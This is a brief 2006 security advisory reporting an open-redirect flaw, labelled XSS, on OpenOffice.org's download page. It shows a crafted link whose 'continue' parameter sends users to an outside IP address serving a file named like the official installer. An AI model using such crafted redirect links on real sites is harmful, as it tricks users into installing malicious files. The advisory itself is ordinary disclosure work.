Author: XiON
Date: JUN1406
Type: XSS
Product: http://www.openoffice.org/
Patch: N/A
Straight URL (From INDIANA U Mirror):
http://download.openoffice.org/2.0.2/contribute.html?continue=ftp%3A//ftp.ussg.iu.edu/pub/openoffice/stable/2.0.2/OOo_2.0.2_Win32Intel_install_wJRE.exe
Redirected URL:
http://download.openoffice.org/2.0.2/contribute.html?continue=http://216.66.19.100/~clockwo/OpenOffice/OOo_2.0.2_Win32Intel_install_wJRE.exe
Note: the file names are the same,
so an unsuspecting user will hot continue on the download page,
and inadvertently download an unwanted and potentially dangerous file from
what appears to be a reliable website.
securitydot.net - 2006-06-14
|
